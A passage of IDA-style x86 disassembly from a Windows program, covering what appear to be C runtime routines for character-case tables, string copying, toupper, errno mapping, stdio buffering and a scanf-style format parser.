		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC6E0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC7E1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC6E0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC7E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC6E0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC914, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC914, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC7E1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C504, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB27C, ecx
		mov	eax, offset dword_43C610


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C778
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB278, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C614[edx*8]
		mov	dword_4DB278, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB278, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB278, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA08
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA28
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB460
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB304[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB304h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C504, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C2F8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C504, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C508, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C508
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C504, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C504, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8A8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C780
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C778


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
